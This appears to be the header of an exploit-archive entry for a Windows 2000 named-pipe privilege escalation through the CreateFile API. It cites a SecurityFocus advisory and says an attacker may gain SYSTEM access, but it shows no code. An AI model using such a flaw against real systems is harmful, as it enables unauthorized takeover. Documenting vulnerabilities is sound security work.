Microsoft Windows Server 2000 - CreateFile API Named Pipe Privilege Escalation (2)

// source: https://www.securityfocus.com/bid/8128/info
 
It has been reported that Microsoft Windows does not properly handle named pipes through the CreateFile API. Because of this, an attacker may be able to gain access to the SYSTEM account.
